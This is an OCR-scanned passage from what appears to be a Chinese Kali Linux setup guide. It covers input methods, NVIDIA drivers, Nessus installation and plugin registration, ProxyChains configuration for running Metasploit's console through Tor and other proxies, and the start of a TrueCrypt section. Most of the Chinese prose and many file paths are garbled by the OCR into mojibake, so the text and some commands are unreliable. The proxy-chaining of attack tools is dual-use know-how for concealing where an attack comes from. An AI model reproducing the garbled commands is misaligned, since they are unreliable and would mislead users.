[INFQO] /uild/buildd-fcitx_4.2.4.1-7-1386-4w6Z_ffeitx-4.2.4.1/srcllibffcitx /faddon.c:100-7n#k b hnsH #FBc &
1 feitx-lua.conf

[INFQ] /build/buildd-fcitx_4.2.4.1-7-1386-4w6Z_ffeitx-4.2.4.1/srcllibffeitx /addon.c:100-7n#k M pnsH fFBC &
3L feitx-pinyin.conf

[INFO /build/buildd-feitx_4.2.4.1-7-i386-14w6Z._ffcitx-4.2.4.1/srclliblfcitx /addon.c:100-n3k B hnel £+Fe &
3% feitx-autoeng.conf

[INFO /build/buildd-feitx_4.2.4.1-7-i386-14w6Z._ffcitx-4.2.4.1/srcllibffcitx /addon.c:100-n%k B B £+-F2 B
3 feitx-xkb.conf

[INFO] /build/buildd-feitx_4.2.4.1-7-i386-14w6Z_ffcitx-4.2.4.1/srcllibffcitx /addon.c:100-ngk B in¢A ¢4 Fe &
M {: feitx-ipc.conf

[INFO] /build/buildd-feitx_4.2.4.1-7-i386-14w6Z_ffcitx-4.2.4.1/srclliblfcitx /addon.c:100-ngk B hn¢A £+F2 &
I 4F: feitx-kimpanel-ui.conf

[INFO] /build/buildd-feitx_4.2.4.1-7-i386-4w6Z_/fcitx-4.2.4.1/src/liblfcitx /faddon.c:100-/n 4k b hnel 480 &
45 foitx-vk.conf

[INFOJ /build/buildd-fcitx_4.2.4.1-7-1386-14w6Z_fcitx-4.2.4.1/srcllibifcitx /addon.c:100-ink B hnsA £ &2 B
3r4¥: feitx-quickphrase.conf

[INFO) /build/buildd-fcitx_4.2.4.1-7-1386-4w6Z_/[feitx-4.2.4.1/srcllibffcitx /addon.c:100-7n#% M ansHHEC &
3r44: foitx-remote-module.conf

[INFQ) /build/buildd-fcitx_4.2.4.1-7-1386-4w6Z_/[fcitx-4.2.4.1/src/libffcitx /addon.c:100-7n#% M anzH4HEC &
% feitx-punc.conf

[INFQ) /build/buildd-fcitx_4.2.4.1-7-i386-4w6Z_ffcitx-4.2 4. 1/src/libffcitx /addon.c:100-7n#% M AN HECE
1% feitx-dbus.conf

[INFQ] /build/buildd-fcitx_4.2.4.1-7-i386-4w6Z_/ffcitk-4.2.4.1/srcllibffcitx /addon.c:100-70Ek b hnsH £+ B &
1% feitx-keyboard.conf

[INFO] /build/buildd-fcitx_4.2.4.1-7-i386-4w6Z_/ffcitx-4.2.4.1/srcllibffcitx /faddon.c:100-70 &% [ hnH A&
i feitx-chttrans.conf

[INFO] /build/buildd-feitx_4.2.4.1-7-386-14w6Z._ffcitx-4.2.4.1/srcllibffcitx /addon.c:100-Angk M dnta 4R B
5 feitx-fullwidth-char.conf

[INFO] /build/buildd-feitx_4.2.4.1-7-386-4w6Z._ffcitx-4.2.4.1/srcllibffcitc /addon.c:100-fnEk M intA 4R B
3L feitx-imselector.conf

[INFO] /build/buildd-feitx_4.2.4.1-7-i386-14w6Z_ffcitx-4.2.4.1/srcllibffcitx faddon.c:100-#n3k B i<l &5 B
X1 feitx-x11.conf

[INFO /build/buildd-feitx_4.2.4.1-7-1386-14w6Z._ffcitx-4.2.4.1/srclliblfcitx /addon.c:100-in% B hnsh £ &2 &
I feitx-classic-ui.conf

[INFO] /build/buildd-feitx_4.2.4.1-7-i386-4w6Z_ffcitx-4.2.4.1/src/liblfeitx /addon.c:100-An%k M hnsA #-E 8
¥ feitx-xkbdbus.conf

[INFO] /build/buildd-feitx_4.2.4.1-7-i386-4w6Z_/fcitx-4.2.4.1/src/im/table /table.c:155- ip & £5 3% 3¢
wbpy.conf

[WARN] /build/buildd-fcitx_4.2.4.1-7-i386-4w6Z_/fcitx-4.2.4.1/src/frontend /xim/xim.c:168-1518& & IR & T
& XMODIFIERS

it S B 2w, S A GEAE A BB 4R e . B AT PR W
Kidh it XMODIFIERS, HoEFE =i 4E 2l XMODIFIERS BJg A8 4 3 B A~ 1A 5 Es H] R
FEEA ] . %% XMODIFIERS B8 54 0nF (1L Bash ) -

export XMODIFIERS="@im=YOUR_XIM_NAME"

WL YOUR _XIM NAME 24 XIM FEE &80T M 45 . WL A sl 218
hZz2E g AR AR (1) XIM R4 3. [k, B{E REhRIEHEST 74574 XIM #AE, —4
I 70 5 2l s > XIM da A 3.

feitx B2 A XIM % 00 feitx, {HR feitx s XMODIFIERS L2215 & i, feitx

« 30 .



1% Linux %-4i8iE W

2 HEN L RGN BN A SN AT, R EA R, R AkiEE.
i a] BAAE~/ bashre SCPERE MBI RN 2. 0 R Brok:

export XMODIFIERS="@im=fcitx"

export XIM=fcitx

export XIM_PROGRAM=fcitx

AT L RS, TGS P, foitx SANTENE A AhiEAT . RS R A,
DA 28 B A T T T i s

root@kali:~# feitx

PATUL ban )5, et Bl — e, WAL CEEs. D
K AR BRI SRR OO . B R L B DU R N, LR N 9 B A
Ctrl+Shift 2 &84 .

R AGE 2 AU e, A st B, FEeR i 1.60 Bras )
FrIfi

TEiZ SRR “BE " s, B R nE 161 AR A, 761% 5l pady «“ RN e
bk, ¥ s aniE 1.62 Frosi) St .

Feit<ALE I-:-I-:-I-t.s-
CWAE | 2 BRE - AL
B - U
TEEEIRRY B
U R0 & Tt
T
WA
BBk
AL ik A
k . | War
g 1.60 feitx SR % 1.61 Feitx Al &
FeitxAC B I-:-I-:--c.:-
R |

| AL £ RRE | Mt |

[ ——

[ thibar | B Hd AR

Ln N BETE (SRR CTRL_SPACE g

RSB A R | ZChrl =

i bk PR

= T TN &

SR A& a4 =

i R Ctrl+Shift "

WY a0

Bz FA(A)

P 162 Al

v 3] -



1k Linux %585 Mt AL il

MRS T AT 50 % R B RS, BN 1 DU I b B AT B B SER
Wity R B

5. 1FIEARSS
15 b AR S5 s S R s

service <servicename=> stop

<servicename=>3¢ < H P AR EE {52 1 ) IR 45
{515 Apache flR%%, Ao 2 F R

root@kali:~# service apache2 stop
[ ok ] Stopping web server: apache2 ... waiting .

M (s Eob, T BLE 31 Apache il 4515 1E %) .
6. REEESFHIBE
B R S5 TEHL G s U F B

update-rc.d -f <servicename> defaults

<servicename>2¢ 7 H] P AHSETTHL S shiv i 55 .
BCE SSH ARSI 5 H 1A 50

root@kali:~# update-rc.d -f ssh defaults
update-rc.d: using dependency based boot sequencing
update-rc.d: warning: default stop runlevel arguments (0 1 6) do not match ssh Default-Stop

values (none)
insserv: warning: current start runlevel(s) (empty) of script "ssh' overrides LSB defaults (2 3 4 5).
insserv: warning: current stop runlevel(s) (2 3 4 5) of script "ssh' overrides LSB defaults (empty).

MAETH IS Borh T LAE B, SSH BRSSELAGEN T 2. 3. 4 f1 5 @74l WILLE F# 5
Fh1 5, SSH HR%45 A shigdr.

1.6.2 REILEME

TG M 25 B RS Ao vE P B e B B ek VE 1) A BRI S s 2%, BRI R
JCERIE R AT AL (LD AP ER A B I E AR . AN HE ] Wied MG EREASNY 8, {6
H'E % e e R ek M gg . v i ok M agfe ik P AR if He 8 B Kali Linux 2k, iiEi&
T W (11 N 8 i Y N P S D D S SN R | S O S

G2k P 29 1) F AR AR AR BRI B

(1) Jish Wicd MEFEIEEE. T A, —MRard4ir, —f2EB A, st
fOGEFE “ W HFER” | “ M " (Wied Network Manager 74, 25011 1.63 By
SR W R AT R s _E iR A 3] WicdNetwork Manager, HE 5B SR 40 1 20 Wied i ff
. H P TR IR BRI, 363 Wied $fF s FRINS.

B TR LA AT I

wicd-gtk --no-tray

+ 37 .



#5155 Linux %984

PATUL b2 n, A o 1.63 B FHim .

(2) MIZSrTn] LU B BTAT REAR A B CE M 2%, JF FLARGH R 108 BB Jo 2k 2% (1
sk FERRBUE B TC 25 5 R . ABhIEPEAEH] WEP I ) TCLE 25 Testl,
Huili Testl (Y “JRPE™ $&HL, R o nl® 1.64 Prasi it ifi.

Wicd PHE TR S .
RN O EMwiE B e O BIE - Wi
LT M -

Testl 100% WEP Sl
[ EIEhEEFIE

il O ensssutme
k(o) | W

yrbxty0O2  100% WPAZ ME 1
T S

Sl O anEsEER
i) Mt

yrixty 100% WPAZ MMl 11
O ESAE R s

<alll O s
_iﬂl[c]_ I'Ii]

BRI LML (1P 192 168.6.101)

- o x]

w

P 1,63 Wicd & p s

Testl - Wit
O {EFaE 1P
Ol i Akt ONs
DM g%
DMS B4 -
DNS fEF# 3
CDHCPH — Ka
O WA esnid B MR AiEEE
& {FAmE
WEP (Passphrase) -
Passphrase ) |al:u:-dc|
p— . = -.-. -\ k
el
LAY | Wi || wEo) |
Vi J
164 B

(3) fEiRFFRESE Mg S, SR mEn ZO0MHmAES. mRAEE
ANEN AT, A B IR S SOAERY 1 SR . WE e IR, Rl R FHL FFR
(2 [ 1.63 Frifl. BRI AR Ay <R f5l, wiv) DOEHER] Testl M2,

* 33 .



£ 2E [ftE Kali Linux

gArel T Kali Linux (80 Je g de . AFORH 40 Kali (9RCE, LAME-TRI P RES
) Jb /1kE="-|--‘3‘5fi*ﬁ{i'AI[TI1 HC N B SO BOERIAR 4 T R A ProxyChains 55 .
AT FEHH R
a i"ll-?‘ﬁ-HH‘ Je A
I P S 3 MR RGBS 4 T
Q %7 ProxyChains;

O HaEhns.
2.1 EEWNAZ K AF

P S0 PF 2 Linux A U ACHS . A s, P & L8 P Bk s AU, D BLS
(VAR RS R N R E R L TS S O R SR R e E Y

HE#% K S i BR3P SR - B

(D) EFAFasEE. AT a0t RTR:

root@Kali:~# apt-get update

it & SR By

Binary 20130905-08:50] kali/non-free Translation-en

#KEL: 1 http://mirrors.neusoft.edu.cn kali Release.gpg [836 B]

FRER: 2 hitp://mirrors.neusoft.edu.cn kalilupdates Release.gpg [836 B]
# http://mirrors.neusoft.edu.cn kali Release

#XEL. 3 http://mirrors.neusoft.edu.cn kali/updates Release [11.0 kB]
@ http:/fmirrors.neusoft.edu.cn kali/main i386 Packages

fir# http://mirrors.neusoft.edu.cn kali/non-free i386 Packages

fir® http://mirrors.neusoft.edu.cn kali/contrib i386 Packages

FREN: 4 hitp://security.kali.org kali/updates Release.gpg [836 B]

FRER: 5 hitp://mirrors.neusoft.edu.cn kalifupdates/main i386 Packages [205 kB]
#KEL: 6 hitp://hitp.kali.org kali Release.gpg [836 B]

f¥ http://mirrors.neusoft.edu.cn kali/updates/contrib i386 Packages

# ¥ http://http kali.org kali Release

fiF ¥ http://mirrors.neusoft.edu.cn kali/updates/non-free i386 Packages
FKEL: 7 hitp://security.kali.org kali/lupdates Release [11.0 kB]

fiFF http://http kali.org kaliimain Sources

FKEL: 8 http://security.kali.org kali/lupdates/main i386 Packages [205 kB]
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BEE http://mirrors.neusoft.edu.cn kali/contrib Translation-zh_CN
DEE http://mirrors.neusoft.edu.cn kali/contrib Translation-zh
dott

it 5 BRI R b W SR R B ],
F N Ay s, SRR A et s th TR R, IZ R H A D 1
{I\i-.-U\n

(2) {EH] apt-get iy & WL SCTE. AT dr-Sn R B

root@Kali:~# apt-get install linux-headers- "uname -r’
EFIZHRHaTIE.. TR
EfE o i 4 2 e ik e = i
EHIZERRERER... TR
Package 'linux-headers' is not installed, so not removed
FE. RIEEMNFRER 3.12-kali1-686-pae iktd T nvidia-kernel-3.12-kali1- 686-pae
EE, RIEENEZEF 3.12-kali1-686-pae £ T linux-image-3.12-kali1-686-pae
FE. RIEEMNFRAR 3.12-kali1-686-pae ikH T linux-image-3.12-kali1-686- pae-dbg
EE,. FRIEEMFEIA 3.12-kali1-686-pae i£H T linux-modules-3.12-kali1- 686-pae
FE. RIEENFRZES 3.12-kali1-686-pae #EH T linux-latest-modules-3.12- kali1-686-pae
T, RIEENFRIAR 3.12-kali1-686-pae £H T linux-headers-3.12-kali1- 686-pae
&, 1B linux-image-3.12-kali1-686-pae M3 linux-modules-3.12-kali1- 686-pae
8. 1®EH linux-image-686-pae M3k linux-latest-modules-3.12-kali1-686-pae
linux-image-3.12-kali1-686-pae B 2B EHEET .
linux-image-3.12-kali1-686-pae #igE b Fah&ik.
linux-image-686-pae 2R HEMBIMAT -
THSHERERENFANETRET:
libmozjs22d libnfc3 libruby libwireshark2 libwiretap2 libwsutil2 python-apsw
ruby-crack ruby-diff-lcs ruby-rspec ruby-rspec-core ruby-rspec-
expectations
ruby-rspec-mocks ruby-simplecov ruby-simplecov-html xulrunner-22.0
Use 'apt-get autoremove' to remove them.
=& MIES AR
glx-alternative-mesa glx-alternative-nvidia glx-diversions
linux-headers-3.12-kali1-common linux-kbuild-3.12 nvidia-alternative
nvidia-installer-cleanup nvidia-kermel-common
Bl REAEtE:
nvidia-driver
T3 [#] SR RRE:
glx-alternative-mesa glx-alternative-nvidia glx-diversions
linux-headers-3.12-kali1-686-pae linux-headers-3.12-kali1-common
linux-image-3.12-kali1-686-pae-dbg linux-kbuild-3.12 nvidia-alternative
nvidia-installer-cleanup nvidia-kernel-3.12-kali1-686-pae
nvidia-kernel-common
ART 0 TMRHEHE. HEET 11 THREE, ZHH 0 TMEEE. F 5 TREEREHAR.
TETH 361 MB BEffE.
WRESGE<HFEN 1.812 MB &1§15M= 8]
IBRBHERITE? [Yinly

ik 45 2R T linux-headers AHICHUIFELR M5 B $fg o L Se i 1o 12
BAFR R NERE R Ay, dhsleede. wddhs, FRMER.

(3) H il generated FIITH NE. AT S0 F Tos:

root@Kali:~# cd /usr/src/linux-headers-3.12-kali1-686-pae/
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root@Kali/usr/srclinux-headers-3.12-kali1-686-paet# cp -f include/generated/= include/linux/

22 % 5FE NVIDIA B FIK3)

o R EKENRE e F e SRS B R IR, e R R AR N A SRERFE RO ES In 2
WAERG DA — D EACES, HrP S I s s S A TR, LT LY
A AT o BEANRE e S R AR A E R A S AL S, o) DL A KB R
AL B T . R REAF, BELFr KA B AR AR 24 Kali
%% NVIDIA S RIRah i ik,

%% NVIDIA &< 9xEh ) B A 20 B T Fraw .

(1) HEFFIE 1) NVIDIA 3K3) nouveau JIA B4 5L, Jridilun B FroR:

root@kali:~# vi /fetc/modprobe.d/blacklist.conf

blacklist nouveau

P F A B3 5 1F blacklist.conf S #5017 blacklist nouveau — 17 N %%

(2) HAEMHTMRGE L. HATAS 0 Fg:

root@kali:~# uname -a
Linux kali 3.12-kali1-kali-amd64 #1 SMP Debian 3.12.6-2kali1 (2014-01-06) x86_64 GNU/Linux

M A5 B R TTEUE B AT R LR AL Kali, SUARRCAD 312, RS
x86_64 {ii .
(3) %% Linux J3C1F. ST Ar &t FRR:

root@kali:~# aptitude -r install linux-headers-$(uname -r)

TF “#” BEaEHEE.
linux-headers-3.12-kali1-686-pae linux-headers-3.12-kali1-common{a}
linux-kbuild-3.12{a}

TIREERFE MR
firmware-mod-kit{u} libadns1{u} libcrypto++9{u} liblzma-dev{u}
libsmi2-common{u} libwebkit-dev{u} msgpack-python{u} p7zip{u}
python-adns{u} python-bs4{u} python-easygui{u} python-ipy{u}
python-levenshtein{u} python-mechanize{u} python-metaconfig{u}
python-paramiko{u} python-pycryptopp{u} python-pysnmp4{u}
python-pysnmp4-apps{u} python-pysnmp4-mibs{u} sgimap{u} unrar-freef{u}

0 MRUEHFAER, FHEE 3 4 22 MEEBR. RE 206 METRFHE.

WEIREL 4,848 kB RUTFHS. MEEFIEEM 554 MB.

IBEYEEIR? [Yin]y

LU E S A5 S s 1 2 a2 2 Re (R M R R i B e R 2R P . 55
sy, GkEEzed:,

(4) 23 NVIDIA . ST 64 F B

root@kali:~# apt-get install nvidia-kernel-3.12-kali1-adm64

TV
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WATLL Ear 4 0a, B 2 dE nvidiakernel B e FE . I AT BBl AR
G, ¥ Ashedsemk.
(5) <23 NVIDIA Ush nvidia-kernel-dkms 0. 047 dr 440 F s

root@kali:~# aptitude install nvidia-kernel-dkms

5 “#T BHaEBHEE.
dkms{a} glx-alternative-mesa{a} glx-alternative-nvidia{a}
glx-diversions{a} libgl1-nvidia-glx{a} libvdpau1{a}
linux-headers-3.12-kali1-686-pae{a} linux-headers-3.12-kali1-common{a}
linux-headers-686-pae{a} linux-kbuild-3.12{a} nvidia-alternative{a}
nvidia-driver{a} nvidia-installer-cleanup{a} nvidia-kernel-common{a}
nvidia-kernel-dkms nvidia-vdpau-driver{a} xserver-xorg-video-nvidia{a}

0 THHEWAR, FHEE 17 4 0 TEERER, FEi 207 METFHR.

WEIREL 204 MB HI7FHS. BERMEEEM 108 MB.

IBEYEEIR? [Yin]y

LL b AE B s T B A A . e vy, gRErdE.
Bt fh, SHBE 2.1 B S .

| Configuring xserver-xorg-video-nvidia |

Manual configuration reguired to enable NVIDIA driver

The NVIDIA driver is not yet configured AT needs 0 be enabled in

xorg.conf before it can be used. -.1"

Please see the package documentation ,’fr.:?\ mst rqft;i.unsl

EE ‘x \‘t

.'JI

-

P21 BHE xserver-xorg

% A 7 ALY xserver-xorg-video-nvidia. 7Fi% 7% o OK 48, Joii T3t
Al E .

(6) % NVIDIA SRzl FETF nvidia-xconfig 0. AT a2 W R

root@kali:~# aptitude install nvidia-xconfig

(7) "k Xorg M55 Mo B 0. T & s,

root@kali:~# nvidia-xconfig

PATEL Bdr 2, B R B s B

WARNING: Unable to locate/open X configuration file.
New X configuration file written to 'fetc/X11/xorg.conf'

M s e, R EITEN T xorg.conf F. BRIG, EHEEIRY.
(8) ¥ir NVIDIA IR0 E eI &8s . Hobkf GLX Bith, hiTar S F R

root@kali:~# glxinfo | grep -i "direct rendering”
direct rendering: Yes

fir 7t NVIDIA Spzhtiile . $04Ta 20 F Bras:



root@kali:~# Ismod | grep nvidia

nvidia 9442880 29

i2c_core 24129 2i2c_i801,nvidia

root@kali:~# Ismod | grep nouveau

A LA SCPFR S, 18 TR Y NVIDIA 3820 nouveau 25 #2 AR 4 8,
T HR:

root@kali:~# cat /etc/modprobe.d/nvidia.conf

alias nvidia nvidia-current

remove nvidia-current rmmod nvidia

root@kali:~# cat /etc/modprobe.d/nvidia-blacklists-nouveau.conf

# You need to run "update-initramfs -u" after editing this file.

# see #580894

blacklist nouveau

root@kali:~# cat /etc/modprobe.d/nvidia-kernel-common.conf
alias char-major-195+ nvidia

options nvidia NVreg_DeviceFileUID=0 NVreg_DeviceFileGID=44 NVreg_Device FileMode=0660

# To enable FastWrites and Sidebus addressing, uncomment these lines

# options nvidia NVreg_EnableAGPSBA=1

# options nvidia NVreg_EnableAGPFW=1

FRLL B (A S, B4R nouveau I E 4%

Jy T AR L G A L e E, WA CUDA (Compute Unified Device
Architecture) . CUDA J&—FF il NVIDIA HEH (1738 ] 9FA7 o 50484, 2 4001{E GPU fglt
il o 2 2 R T ) A

% NVIDIA CUDA T HAEF NVIDIA openCL. 740 F i

root@kali:~# aptitude install nvidia-cuda-toolkit nvidia-opencl-icd

WATLL Fdn 4 e, i ebFep e i, Ran g e mih . LS ]
LIS H] CUDA I fi I 10 28 S0

23 MR EZHfREHIN ST R

TR BEORT Kali (YRl Fe ARG -SRI Ah i TR IR T A S ) w s ot Ay
FIA - Kali 81001 (0 A Wit S8 VR A 2z 8], F P AR PR A 30— 2538 1) T A LL &)1t DVD ROM
ETFERFREAA . ARl el B my ik, REL Nessus (1) MEGEY . e %
4% Squid.

FE RY S A G A 42 42 T B ) B A B SR F B

(1) S ARSI ERE. AT dr 2 m TR,

root@Kali:~# apt-get update

AT b4, WSS BN, $hITRE, S asNEHTEE.
(2) AR, AT F R

root@Kali:~# apt-get upgrade

« AR .
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(3) THEFR IR . AT W F
root@HKali:~# apt-get dist-upgrade
(4) M, http://www.nessus.org/products/nessus/nessus-plugins/obtain-an-activation-code 7
W e — NG S . AR SE S T G e, R B PR 2.2 BTt SR iE .

.~
o 7, 9 Uy = I G—" 1B Oibaain an Activation Cod.. ¥ [ ] 'E'-'; { " .;-

15 b Google B Rl EX--eweRznT B ER—T . {00l & sboutblank

tenable

Obtain an Activation Code

Using Nessus Using Messus at
Work? ﬁ Hame? ‘

A Nessus? subscription is Messus Home is free for
requirgd for all uses of Nessus ouiside non-commagrcial, home use onby
of the home:

-

522 SRS

TE1% FEIEFF S T i Using Nessus at Home? T, Fif5 Select f208l, 3 Bl 2.3
PR i) S0 -

I ==
P = | - # i,
e | @ bt/ fowwtena— 2 v o | 2 Nessus Home | Tenable .. r | ’i;-\" 5 ¢ 107
L L Lol R
-3
o in Google B [§] Sm--EmuEanT B E52—T . /o0l 2 aboutblank
{3 Nessus Home 4
_3 Register for an
Activation Code
enable Messus® Home allows you to scan your persanal home
petwork (up to 16 IP addresses per scanner) with the same high- First Name =
peed, in-depth assessments and agentless scanning
ommvenience that Nessus subscribers enjoy
Lasy Hame *
Flease note that Nessus Home does not provide access 1o y
upport, allow you 1o perform compliance checks or content
Emeail *
wdits, or allow you 1o use the Messus vimual appliance. If you I:
BT TR N T
lequire support and these additional features, please purchase a
essus subscription Country®
[Crine
essus Home is available for personal use in a home
vironment only. It is not for use by any commercial B check to receive updates
rganization. LI TS
E | epree: 4o thee NErmIE Gf
SETIDE
L4
>

P23 EMHEE
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fEZ A IS SR ME B, S5, 5l Register f&8, R (R A HEHET -hficz]
GrlRfE. SENHERI NS, TG BLZ AR A T R
(5) 24 Nessus W &5 L@ — AP . $AT fr & Wl F B

root@Kali:~# /opt/nessus/sbin/nessus-adduser

Login : admin #iHINFA P &% admin

Login password : PN SR

Login password (again) : HEINFRIA B

Do you want this user to be a Nessus 'admin' user ? (can upload plugins, etc...) (y/n) [n]: v
User rules #F P

nessusd has a rules system which allows you to restrict the hosts

that admin has the right to test. For instance, you may want

him to be able to scan his own host only.

Please see the nessus-adduser manual for the rules syntax

Enter the rules for this user, and enter a BLANK LINE once you are done :

(the user can have an empty rules set) HETTHRERZEA
Login : admin

Password LTI T T TILT

This user will have admln privileges within the Nessus server

Rules

Is that ok ? (y/n) [y] y

User added #A R #E N

M A5 Erb r] BAFE 2] admin FY P 2 ds Inalezh 1 .

(6) F% Nessus. AT 201 F Ffros:

root@Kali:~# lopt/nessus/bin/nessus-fetch --register XK= MO0 2002000

LA i 4 H ) XXX -XXXX-XXXX-XXXX-XXXX S A2 78 M b S 3 () s 5
PATEL B ha, S th (S B R Bros:

Your Activation Code has been registered properly - thank you.
Now fetching the newest plugin set from plugins.nessus.org #E S —EEE
Could not verify the signature of all-2.0.tar.gz HABEIESE all-2.0.tar.gz BIE 2

(7) Ki&h Nessus 5. AT @41 <R

root@HKali:~# /etc/init.d/nessusd start

L (6) LR #GE Nessus B, S RILL EAHFFE B, #0080 B0E Nessus., X
AR EAE RHEL AL . Aid, BCRAT ki oA~ [ . FAR bR b
iy

(1) MHBR AT nessus-fetchore. $AAT a4 40 1 i

root@Kali:~# rm /opt/nessus/etc/nessus/nessus-fetch.rc

(2) fEH] nessus-fetch --challenge FRHUPEARAS . 04T 410 F Brogs

root@HKali:~# /opt/nessus/bin/nessus-fetch --challenge

Challenge code: xoaaanannonaoaean

You can copy the challenge code above and paste it alongside your
Activation Code at:

.40 .
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https://plugins.nessus.org/offline.php

Horr, R XXXNXKXXXXXXXRKKKX A2 5 oH i) 3k il i

(3) FiE gt htp://www.nessus.org/products/nessus/nessus-plugins/obtain-an-activation-
code P4 ik AR BB 5«

(4) TF 3% https://plugins.nessus.org/offline.php [, 75 1% 5L A B0 kS FEEE
fiy, i 2.4 ot A

Tenable Network Security - lceweasel - | O | =]
File Edit View Higtory Bookmarks Tools Help
O Tenable Network Security ii
- :H ttps:/fplugins. nessus argfoffline phy - @ :V soogle a i 8

B Most Visited~ [l Offensive Security 8, Kali Linux %, Kali Docs BExploi-DB Wy Aircrack-ng

Type ‘nessus-fetch —-challenge’ on your nessusd server and type in the result

BE3YTERAA 7 U0RB/SUCOTII02 U6 ] BB /6] 13886 1]

Entar your activation code.:
|_ .

[ L

S —————————————TR— —-—— o~ Y J S—
P24 SREUEY

BEI ety Submit $%HL, HF 5 as i 2.5 Brasi S .

Tenable Network Security = lceweasel - O x
File Edit View History Bookmarks Tools Help
O Tenable Netwerk Security I cge

L | @ https://plugins nessus.org/offline. php ~ @ |B~ Gocgle =} \/ ﬁ

EiMost Visited>  [JllOffensive Security " Kali Linux 8, Kali Docs [Ex ploit-DB Wy Aircrack-ng

Thank you. You can now obtain the newest Messus plugins at ;

http:/fplugins.nessus. orgiget. php?f=all-2.0.tar.gz&u=c725ab5a%48e49bBaS64cobh 793364051 &

feaabod

p=eb02cTIdETIO859d891f2ThT4de5d 110

You also nead to copy the following file to :

+ ‘opt/nessus/etcnessus/nessus-fetch.re (Unix)

« C:Documents and Settings\All Users'Application Data'\Tenable'Nessus\confnessus-
fetch.rc (Windows XP/2K3)

C:ProgramData'Tenable'Nessus'confinessus-fetch.re (Windows Vista/7/8/2008/2012)
Library/Nessus/runietc/nessus/nessus-fetch.re (Mac 05 X)
iusrilocalnessus/etc/nessus/nessus-fetch.rc (FreeBSD)

L]

L]

. Fadak wa
nessus-fatch.rc

25 T
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M % ¥t F 3% nessus-fetch.re Fil all-2.0.tar.gz, 530 13 2 A<Hh .

(5) K FELEM) nessus-fetch.re L5 il 2 /opt/nessus/ete/nessus/ H 2% . g 47410
~ T

root@Kali:~# cp /root/nessus-fetch.rc fopt/nessus/etc/nessus

PATEL B4 e, EA G .

(6) {# A} nessus-update-plugins iy 4§ Nessus [1)4fi{F all-2.0.tar.gz 4% . irapSw F
}yd[';*l‘-i :

root@Kali:~# fopt/nessus/sbin/fnessus-update-plugins /root/all/all-2.0.tar.gz

Expanding /root/all/all-2.0.tar.gz...

Done. The Nessus server will start processing these plugins within a minute

(7) HEH )3 Nessus k55 $ATam2 W0 FFrs:

root@Kali;~# /etc/init.d/nessusd restart
$Shutting down Nessus : .
$Starting Nessus : .

LL P IRERE 5o Rl e, Nessus sL#BGE 1 WA Nessus, B2 AMHEMERTIF.
t Kali "h %% Squid 5. ATk Fros:
root@Kali:~# apt-get install squid3

i E Squid & TTHLAS A 3hiHsh. BT a4 W kB
root@Kali:~# update-rc.d -f squid3 remove

2.4 1% & ProxyChains

ProxyChains J& Linux FlHAh Unices FAMCEE T B, &n] LMEAE o m R B,
foif TCP I DNS il b fCHL5IE, % FF HTTP., SOCKS4 fil SOCKSS JHY (1€ # il %% 4% ,
J FLA] i 4 M CHE . ProxyChains JEiod N sz SR QR 81 2 s i e Pt s 1 1 L A
P, TR BB Jy . A48 12 8 ProxyChains Y /772 .

% ProxyChains 1] FH A8 £ 2 B 1 F TR

(1) #J7F ProxyChains [l 3CfF. $077 a4 0 F s

root@Kali:~# vi /etc/proxychains.conf

PATUA Bdm 2 )5, ST SRR i B Birs:

# proxychains.conf VER 3.1

#

o HTTP, SOCKS4, SOCKSS tunneling proxifier with DNS.
#

# The option below identifies how the ProxyList is treated.

# only one option should be uncommented at time,

# otherwise the last appearing option will be accepted

#

#dynamic_chain

#

# Dynamic - Each connection will be done via chained proxies
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# all proxies chained in the order as they appear in the list
# at least one proxy must be online to play in chain

# (dead proxies are skipped)

# otherwise EINTR is returned to the app

#

strict_chain

#

# Strict - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# all proxies must be online to play in chain

# otherwise EINTR is returned to the app

#

#random_chain

#

# Random - Each connection will be done via random proxy
# (or proxy chain, see chain_len) from the list.

# this option is good to test your IDS :)

i v i B2 proxychains.conf SCAFITPIZE. thFRIBEADBE, BCH B T4y
NFF

(2) ¥4 proxychains.conf 3L+ dynamic_chain F i (1R FHEU . A5 SR 0,
RPN P U TR

dynamic_chain

(3) #hn- B iz 55 25 2 7 % (proxychains.conf ICAFARE) , Wl K FTas:

# ProxyList format

# type host port [user pass]

# (values separated by 'tab' or 'blank’)

#

#

# Examples:

#

# socksS 192.168.67.78 1080 lamer secret
# http 192.168.89.3 8080 justu  hidden
# socks4 192.168.1.49 1080

# http 192.168.39.93 8080

#

#

# proxy types: http, socks4, socks5

o ( auth types supported: "basic"-http "user/pass"-socks )
#

[ProxyList]

# add proxy here ...

# meanwile

# defaults set to "tor"

socksd 127.0.0.1 9050

socksS 98.206.2.3 1893

socks5 76.22.86.170 1658

— AN -

LA R R 5 4 SR 4 I A AR R 45 2%

(4) a0t H P AR AT H b L. AT a2 W F B

root@kali:~# proxyresolv www.target.com

TG OL T 14T proxyresolv i 4, v GEA Bl iZ oy Bk 3RS L. 24 proxyresolv
{RA7 7 /usr/lib/proxychains3/H s rh, i AFEMEATT . proxyresolv 234 proxychains i 1], Fy

e 43 .



LI IX A SO RCAE A H s, Wifuse/bine AT A4 00 F FTos:
root@kali:~# cp /usr/lib/proxychains3/proxyresolv /usr/bin/

tATFELRL b4 G, proxyresolv a4 g ol LLEWAT T .

(5 8k AR 04 B T PRI 4T ProxyChains, 191201, i 5h msfeconsole. $047 i
AR o

root@kali:~# proxychains msfconsole
ProxyChains-3.1 (http://proxychains.sf.net)
|DNS-request| 0.0.0.0
|S-chain|-<>-127.0.0.1:9050-<--timeout
|DNS-response|: 0.0.0.0 is not exist

f i
{L'"m"'_”
(Joo(L)
\ 7 I\
oo MSF |
Y |

Il WWH|
il Il

Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
-- type 'go_pro' to launch it now.

=[ metasploit v4.7.0-2013082802 [core:4.7 api:1.0]
+ -- --=[ 1161 exploits - 641 auxiliary - 180 post
+ -- --=[ 310 payloads - 30 encoders - 8 nops

msf =

AT L B %05, 453 msf=4E T i msfeonsole i a)kth 7. #7~ ProxyChains ¥
E .

25 H kK ho &

7 Kali PHEAET A~ Han® TR TrueCrypt. 1% T HJ 305 & (0n % 3 n
WA, AT EA AT OB T AERE S b iR . P oeT Bl A AR TR ], B
e AR RSO A E BN, U il e 5 B T AR B o TrueCrypt $43 & F i 51
ik, 4145 AES. Serpent. Twofish, AES-Twofish #1 AES-Twofish-Serpent %§. A< 45 441
TrueCrypt L H {1 H] .

251 fIEmMEBXR

fER] TrueCrypt T HIn% H 3. HAAEEEEDERM TR
(1) Ki3h TrueCrypt T H . 7E&mdiTin F BT iy 4

root@kali:~# truecrypt
